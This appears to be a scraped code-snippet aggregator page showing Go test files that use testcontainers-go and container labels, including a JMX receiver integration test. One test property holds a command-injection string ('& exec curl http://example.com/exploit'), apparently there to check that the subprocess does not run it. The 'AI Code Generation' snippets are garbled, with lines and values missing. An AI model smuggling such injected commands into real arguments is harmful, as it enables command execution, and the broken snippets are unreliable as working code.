How to use Labels method of testcontainers Package

Best Testcontainers-go code snippet using testcontainers.Labels

cri_test.go

Source:cri_test.go Github

copy

Full Screen

...34 assert.NoError(t, err)35 assert.Equal(t, test.expected, actual)36 }37}38func TestLabelsAndAnnotationsRoundTrip(t *testing.T) {39 expectedLabels := map[string]string{"label.123.abc": "foo", "label.456.efg": "bar"}40 expectedAnnotations := map[string]string{"annotation.abc.123": "uvw", "annotation.def.456": "xyz"}41 // Merge labels and annotations into pouch labels.42 pouchLabels := makeLabels(expectedLabels, expectedAnnotations)43 // Extract labels and annotations from pouch labels.44 actualLabels, actualAnnotations := extractLabels(pouchLabels)45 assert.Equal(t, expectedLabels, actualLabels)46 assert.Equal(t, expectedAnnotations, actualAnnotations)47}48// Sandbox related tests.49func TestFilterCRISandboxes(t *testing.T) {50 testSandboxes := []*runtime.PodSandbox{51 {52 Id: "1",53 Metadata: &runtime.PodSandboxMetadata{Name: "name-1", Attempt: 1},54 State: runtime.PodSandboxState_SANDBOX_READY,55 Labels: map[string]string{"a": "b"},56 },57 {58 Id: "2",59 Metadata: &runtime.PodSandboxMetadata{Name: "name-2", Attempt: 2},60 State: runtime.PodSandboxState_SANDBOX_NOTREADY,61 Labels: map[string]string{"c": "d"},62 },63 {64 Id: "2",65 Metadata: &runtime.PodSandboxMetadata{Name: "name-3", Attempt: 3},66 State: runtime.PodSandboxState_SANDBOX_NOTREADY,67 Labels: map[string]string{"e": "f"},68 },69 }70 for desc, test := range map[string]struct {71 filter *runtime.PodSandboxFilter72 expect []*runtime.PodSandbox73 }{74 "no filter": {75 expect: testSandboxes,76 },77 "id filter": {78 filter: &runtime.PodSandboxFilter{Id: "2"},79 expect: []*runtime.PodSandbox{testSandboxes[1], testSandboxes[2]},80 },81 "state filter": {82 filter: &runtime.PodSandboxFilter{83 State: &runtime.PodSandboxStateValue{84 State: runtime.PodSandboxState_SANDBOX_READY,85 },86 },87 expect: []*runtime.PodSandbox{testSandboxes[0]},88 },89 "label filter": {90 filter: &runtime.PodSandboxFilter{91 LabelSelector: map[string]string{"e": "f"},92 },93 expect: []*runtime.PodSandbox{testSandboxes[2]},94 },95 "mixed filter not matched": {96 filter: &runtime.PodSandboxFilter{97 State: &runtime.PodSandboxStateValue{98 State: runtime.PodSandboxState_SANDBOX_NOTREADY,99 },100 LabelSelector: map[string]string{"a": "b"},101 },102 expect: []*runtime.PodSandbox{},103 },104 "mixed filter matched": {105 filter: &runtime.PodSandboxFilter{106 State: &runtime.PodSandboxStateValue{107 State: runtime.PodSandboxState_SANDBOX_NOTREADY,108 },109 LabelSelector: map[string]string{"c": "d"},110 Id: "2",111 },112 expect: []*runtime.PodSandbox{testSandboxes[1]},113 },114 } {115 filtered := filterCRISandboxes(testSandboxes, test.filter)116 assert.Equal(t, test.expect, filtered, desc)117 }118}119func makeSandboxConfigWithLabelsAndAnnotations(name, namespace, uid string, attempt uint32, labels, annotations map[string]string) *runtime.PodSandboxConfig {120 return &runtime.PodSandboxConfig{121 Metadata: &runtime.PodSandboxMetadata{122 Name: name,123 Namespace: namespace,124 Uid: uid,125 Attempt: attempt,126 },127 Labels: labels,128 Annotations: annotations,129 }130}131// A helper to create a basic config.132func makeSandboxConfig(name, namespace, uid string, attempt uint32) *runtime.PodSandboxConfig {133 return makeSandboxConfigWithLabelsAndAnnotations(name, namespace, uid, attempt, map[string]string{}, map[string]string{})134}135func TestSandboxNameRoundTrip(t *testing.T) {136 config := makeSandboxConfig("name", "namespace", "uid", 1)137 actualName := makeSandboxName(config)138 assert.Equal(t, "k8s_POD_name_namespace_uid_1", actualName)139 actualMetadata, err := parseSandboxName(actualName)140 assert.NoError(t, err)141 assert.Equal(t, config.Metadata, actualMetadata)142}143func TestToCriSandboxState(t *testing.T) {144 testCases := []struct {145 input apitypes.Status146 expected runtime.PodSandboxState147 }{148 {input: apitypes.StatusRunning, expected: runtime.PodSandboxState_SANDBOX_READY},149 {input: apitypes.StatusExited, expected: runtime.PodSandboxState_SANDBOX_NOTREADY},150 }151 for _, test := range testCases {152 actual := toCriSandboxState(test.input)153 assert.Equal(t, test.expected, actual)154 }155}156// Container related unit tests.157func TestParseContainerName(t *testing.T) {158 format := fmt.Sprintf("%s_${container name}_${sandbox name}_${sandbox namespace}_${sandbox uid}_${attempt times}", kubePrefix)159 longerNameContainer := "k8s_cname_name_namespace_uid_3_4"160 wrongPrefixContainer := "swarm_cname_name_namespace_uid_3"161 wrongAttemptContainer := "k8s_cname_name_namespace_uid_notInt"162 parts := strings.Split(wrongAttemptContainer, nameDelimiter)163 _, wrongAttemptErr := parseUint32(parts[5])164 testCases := []struct {165 input string166 expectedError string167 }{168 {input: longerNameContainer, expectedError: fmt.Sprintf("failed to parse container name: %q, which should be %s", longerNameContainer, format)},169 {input: wrongPrefixContainer, expectedError: fmt.Sprintf("container is not managed by kubernetes: %q", wrongPrefixContainer)},170 {input: wrongAttemptContainer, expectedError: fmt.Sprintf("failed to parse the attempt times in container name: %q: %v", wrongAttemptContainer, wrongAttemptErr)},171 }172 for _, test := range testCases {173 _, actualError := parseContainerName(test.input)174 assert.EqualError(t, actualError, test.expectedError)175 }176}177func TestContainerNameRoundTrip(t *testing.T) {178 sandboxConfig := makeSandboxConfig("name", "namespace", "uid", 1)179 name, attempt := "cname", uint32(3)180 config := &runtime.ContainerConfig{181 Metadata: &runtime.ContainerMetadata{182 Name: name,183 Attempt: attempt,184 },185 }186 actualName := makeContainerName(sandboxConfig, config)187 assert.Equal(t, "k8s_cname_name_namespace_uid_3", actualName)188 actualMetadata, err := parseContainerName(actualName)189 assert.NoError(t, err)190 assert.Equal(t, config.Metadata, actualMetadata)191}192func TestToCriContainerState(t *testing.T) {193 testCases := []struct {194 input apitypes.Status195 expected runtime.ContainerState196 }{197 {input: apitypes.StatusRunning, expected: runtime.ContainerState_CONTAINER_RUNNING},198 {input: apitypes.StatusExited, expected: runtime.ContainerState_CONTAINER_EXITED},199 {input: apitypes.StatusCreated, expected: runtime.ContainerState_CONTAINER_CREATED},200 {input: apitypes.StatusPaused, expected: runtime.ContainerState_CONTAINER_UNKNOWN},201 }202 for _, test := range testCases {203 actual := toCriContainerState(test.input)204 assert.Equal(t, test.expected, actual)205 }206}207func TestFilterCRIContainers(t *testing.T) {208 testContainers := []*runtime.Container{209 {210 Id: "1",211 PodSandboxId: "s-1",212 Metadata: &runtime.ContainerMetadata{Name: "name-1", Attempt: 1},213 State: runtime.ContainerState_CONTAINER_RUNNING,214 },215 {216 Id: "2",217 PodSandboxId: "s-2",218 Metadata: &runtime.ContainerMetadata{Name: "name-2", Attempt: 2},219 State: runtime.ContainerState_CONTAINER_EXITED,220 Labels: map[string]string{"a": "b"},221 },222 {223 Id: "3",224 PodSandboxId: "s-2",225 Metadata: &runtime.ContainerMetadata{Name: "name-2", Attempt: 3},226 State: runtime.ContainerState_CONTAINER_CREATED,227 Labels: map[string]string{"c": "d"},228 },229 }230 for desc, test := range map[string]struct {231 filter *runtime.ContainerFilter232 expect []*runtime.Container233 }{234 "no filter": {235 expect: testContainers,236 },237 "id filter": {238 filter: &runtime.ContainerFilter{Id: "2"},239 expect: []*runtime.Container{testContainers[1]},240 },241 "state filter": {...

Full Screen

Full Screen

integration_test.go

Source:integration_test.go Github

copy

Full Screen

1// Copyright The OpenTelemetry Authors2//3// Licensed under the Apache License, Version 2.0 (the "License");4// you may not use this file except in compliance with the License.5// You may obtain a copy of the License at6//7// http://www.apache.org/licenses/LICENSE-2.08//9// Unless required by applicable law or agreed to in writing, software10// distributed under the License is distributed on an "AS IS" BASIS,11// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.12// See the License for the specific language governing permissions and13// limitations under the License.14//go:build integration15// +build integration16package jmxreceiver17import (18 "context"19 "fmt"20 "io"21 "io/ioutil"22 "net/http"23 "os"24 "path"25 "testing"26 "time"27 "github.com/stretchr/testify/require"28 "github.com/stretchr/testify/suite"29 "github.com/testcontainers/testcontainers-go"30 "github.com/testcontainers/testcontainers-go/wait"31 "go.opentelemetry.io/collector/component"32 "go.opentelemetry.io/collector/component/componenttest"33 "go.opentelemetry.io/collector/consumer/consumertest"34 "go.opentelemetry.io/collector/exporter/exporterhelper"35 "go.opentelemetry.io/collector/model/pdata"36 "go.uber.org/zap"37 "go.uber.org/zap/zaptest/observer"38)39type JMXIntegrationSuite struct {40 suite.Suite41 JARPath string42}43func TestJMXIntegration(t *testing.T) {44 suite.Run(t, new(JMXIntegrationSuite))45}46func (suite *JMXIntegrationSuite) SetupSuite() {47 jarPath, err := downloadJMXMetricGathererJAR()48 require.NoError(suite.T(), err)49 suite.JARPath = jarPath50}51func (suite *JMXIntegrationSuite) TearDownSuite() {52 require.NoError(suite.T(), os.Remove(suite.JARPath))53}54func downloadJMXMetricGathererJAR() (string, error) {55 url := "https://repo1.maven.org/maven2/io/opentelemetry/contrib/opentelemetry-java-contrib-jmx-metrics/1.0.0-alpha/opentelemetry-java-contrib-jmx-metrics-1.0.0-alpha.jar"56 resp, err := http.Get(url)57 if err != nil {58 return "", err59 }60 defer resp.Body.Close()61 file, err := ioutil.TempFile("", "jmx-metrics.jar")62 if err != nil {63 return "", err64 }65 defer file.Close()66 _, err = io.Copy(file, resp.Body)67 return file.Name(), err68}69func cassandraContainer(t *testing.T) testcontainers.Container {70 ctx := context.Background()71 req := testcontainers.ContainerRequest{72 FromDockerfile: testcontainers.FromDockerfile{73 Context: path.Join(".", "testdata"),74 Dockerfile: "Dockerfile.cassandra",75 },76 ExposedPorts: []string{"7199:7199"},77 WaitingFor: wait.ForListeningPort("7199"),78 }79 cassandra, err := testcontainers.GenericContainer(ctx, testcontainers.GenericContainerRequest{80 ContainerRequest: req,81 Started: true,82 })83 require.NoError(t, err)84 return cassandra85}86func getJavaStdout(receiver *jmxMetricReceiver) string {87 msg := ""88LOOP:89 for i := 0; i < 70; i++ {90 t := time.NewTimer(5 * time.Second)91 select {92 case m, ok := <-receiver.subprocess.Stdout:93 if ok {94 msg = msg + m + "\n"95 } else {96 break LOOP97 }98 case <-t.C:99 break LOOP100 }101 }102 return fmt.Sprintf("metrics not collected: %v\n", msg)103}104func getLogsOnFailure(t *testing.T, logObserver *observer.ObservedLogs) {105 if !t.Failed() {106 return107 }108 fmt.Printf("Logs: \n")109 for _, statement := range logObserver.All() {110 fmt.Printf("%v\n", statement)111 }112}113func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() {114 t := suite.T()115 cassandra := cassandraContainer(t)116 defer cassandra.Terminate(context.Background())117 hostname, err := cassandra.Host(context.Background())118 require.NoError(t, err)119 logCore, logObserver := observer.New(zap.DebugLevel)120 defer getLogsOnFailure(t, logObserver)121 logger := zap.New(logCore)122 params := component.ReceiverCreateSettings{Logger: logger}123 cfg := &Config{124 CollectionInterval: 100 * time.Millisecond,125 Endpoint: fmt.Sprintf("%v:7199", hostname),126 JARPath: suite.JARPath,127 GroovyScript: path.Join(".", "testdata", "script.groovy"),128 OTLPExporterConfig: otlpExporterConfig{129 Endpoint: "127.0.0.1:0",130 TimeoutSettings: exporterhelper.TimeoutSettings{131 Timeout: 1000 * time.Millisecond,132 },133 },134 Password: "cassandra",135 Username: "cassandra",136 Properties: map[string]string{137 // should be used by Autoconfigure to set resource attributes138 "otel.resource.attributes": "myattr=myvalue,myotherattr=myothervalue",139 // test script sets dp labels from these system property values140 "my.label.name": "mylabel", "my.label.value": "myvalue",141 "my.other.label.name": "myotherlabel", "my.other.label.value": "myothervalue",142 // confirmation that arbitrary content isn't executed by subprocess143 "one": "two & exec curl http://example.com/exploit && exit 123",144 },145 }146 require.NoError(t, cfg.validate())147 consumer := new(consumertest.MetricsSink)148 require.NotNil(t, consumer)149 receiver := newJMXMetricReceiver(params, cfg, consumer)150 require.NotNil(t, receiver)151 defer func() {152 require.Nil(t, receiver.Shutdown(context.Background()))153 }()154 require.NoError(t, receiver.Start(context.Background(), componenttest.NewNopHost()))155 require.Eventually(t, func() bool {156 found := consumer.DataPointCount() > 0157 if !found {158 return false159 }160 metric := consumer.AllMetrics()[0]161 require.Equal(t, 1, metric.DataPointCount())162 rm := metric.ResourceMetrics().At(0)163 resource := rm.Resource()164 attributes := resource.Attributes()165 lang, ok := attributes.Get("telemetry.sdk.language")166 require.True(t, ok)167 require.Equal(t, "java", lang.StringVal())168 sdkName, ok := attributes.Get("telemetry.sdk.name")169 require.True(t, ok)170 require.Equal(t, "opentelemetry", sdkName.StringVal())171 version, ok := attributes.Get("telemetry.sdk.version")172 require.True(t, ok)173 require.NotEmpty(t, version.StringVal())174 customAttr, ok := attributes.Get("myattr")175 require.True(t, ok)176 require.Equal(t, "myvalue", customAttr.StringVal())177 anotherCustomAttr, ok := attributes.Get("myotherattr")178 require.True(t, ok)179 require.Equal(t, "myothervalue", anotherCustomAttr.StringVal())180 ilm := rm.InstrumentationLibraryMetrics().At(0)181 require.Equal(t, "io.opentelemetry.contrib.jmxmetrics", ilm.InstrumentationLibrary().Name())182 require.Equal(t, "1.0.0-alpha", ilm.InstrumentationLibrary().Version())183 met := ilm.Metrics().At(0)184 require.Equal(t, "cassandra.storage.load", met.Name())185 require.Equal(t, "Size, in bytes, of the on disk data size this node manages", met.Description())186 require.Equal(t, "By", met.Unit())187 // otel-java only uses int sum w/ non-monotonic for up down counters instead of gauge188 require.Equal(t, pdata.MetricDataTypeSum, met.DataType())189 sum := met.Sum()190 require.False(t, sum.IsMonotonic())191 // These labels are determined by system properties192 labels := sum.DataPoints().At(0).Attributes()193 customLabel, ok := labels.Get("mylabel")194 require.True(t, ok)195 require.Equal(t, "myvalue", customLabel.StringVal())196 anotherCustomLabel, ok := labels.Get("myotherlabel")197 require.True(t, ok)198 require.Equal(t, "myothervalue", anotherCustomLabel.StringVal())199 return true200 }, 30*time.Second, 100*time.Millisecond, getJavaStdout(receiver))201}202func TestJMXReceiverInvalidOTLPEndpointIntegration(t *testing.T) {203 params := componenttest.NewNopReceiverCreateSettings()204 cfg := &Config{205 CollectionInterval: 100 * time.Millisecond,206 Endpoint: fmt.Sprintf("service:jmx:rmi:///jndi/rmi://localhost:7199/jmxrmi"),207 JARPath: "/notavalidpath",208 GroovyScript: path.Join(".", "testdata", "script.groovy"),209 OTLPExporterConfig: otlpExporterConfig{210 Endpoint: "<invalid>:123",211 TimeoutSettings: exporterhelper.TimeoutSettings{212 Timeout: 1000 * time.Millisecond,213 },214 },215 }216 receiver := newJMXMetricReceiver(params, cfg, consumertest.NewNop())217 require.NotNil(t, receiver)218 defer func() {219 require.EqualError(t, receiver.Shutdown(context.Background()), "no subprocess.cancel(). Has it been started properly?")220 }()221 err := receiver.Start(context.Background(), componenttest.NewNopHost())222 require.Contains(t, err.Error(), "listen tcp: lookup <invalid>:")223}...

Full Screen

Full Screen

testcontainer_test.go

Source:testcontainer_test.go Github

copy

Full Screen

...52 Namespace: "default",53 }54 deployment.Spec = appsv1.DeploymentSpec{55 Selector: &metav1.LabelSelector{56 MatchLabels: map[string]string{57 "app": "nginx",58 },59 },60 Template: v12.PodTemplateSpec{61 ObjectMeta: metav1.ObjectMeta{62 Labels: map[string]string{63 "app": "nginx",64 },65 },66 Spec: v12.PodSpec{67 Containers: []v12.Container{{68 Name: "nginx",69 Image: "nginx:1.14.2",70 Ports: []v12.ContainerPort{{71 ContainerPort: 80,72 }},73 }},74 },75 },76 }...

Full Screen

Full Screen

Labels

Using AI Code Generation

copy

Full Screen

1import (2func main() {3 ctx := context.Background()4 req := testcontainers.ContainerRequest{5 ExposedPorts: []string{"6379/tcp"},6 WaitingFor: wait.ForLog("Ready to accept connections"),7 }8 redisContainer, err := testcontainers.GenericContainer(ctx, testcontainers.GenericContainerRequest{9 })10 if err != nil {11 panic(err)12 }13 defer redisContainer.Terminate(ctx)14 ip, err := redisContainer.Host(ctx)15 if err != nil {16 panic(err)17 }18 port, err := redisContainer.MappedPort(ctx, "6379")19 if err != nil {20 panic(err)21 }22 fmt.Printf("Container IP: %s, Container Port: %s23", ip, port.Port())24 labels, err := redisContainer.Labels(ctx)25 if err != nil {26 panic(err)27 }28 for key, value := range labels {29 fmt.Printf("Container Label: %s, Value: %s30 }31}

Full Screen

Full Screen

Labels

Using AI Code Generation

copy

Full Screen

1import (2func main() {3 ctx := context.Background()4 req := testcontainers.ContainerRequest{5 ExposedPorts: []string{"80/tcp"},6 WaitingFor: wait.ForListeningPort("80/tcp"),7 }8 c, err := testcontainers.GenericContainer(ctx, testcontainers.GenericContainerRequest{9 })10 if err != nil {11 panic(err)12 }13 ip, err := c.Host(ctx)14 if err != nil {15 panic(err)16 }17 port, err := c.MappedPort(ctx, "80/tcp")18 if err != nil {19 panic(err)20 }21 fmt.Println(ip, port.Int())22 err = c.Terminate(ctx)23 if err != nil {24 panic(err)25 }26}

Full Screen

Full Screen

Labels

Using AI Code Generation

copy

Full Screen

1func main() {2 ctx := context.Background()3 req := testcontainers.ContainerRequest{4 Cmd: []string{"echo", "hello world"},5 Labels: map[string]string{"foo": "bar", "bar": "baz"},6 }7 resp, err := testcontainers.GenericContainer(ctx, testcontainers.GenericContainerRequest{8 })9 if err != nil {10 panic(err)11 }12 defer resp.Terminate(ctx)13 ip, err := resp.Host(ctx)14 if err != nil {15 panic(err)16 }17 port, err := resp.MappedPort(ctx, "8080")18 if err != nil {19 panic(err)20 }21 fmt.Printf("%s:%s", ip, port.Port())22}

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run Testcontainers-go automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Most used method in

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful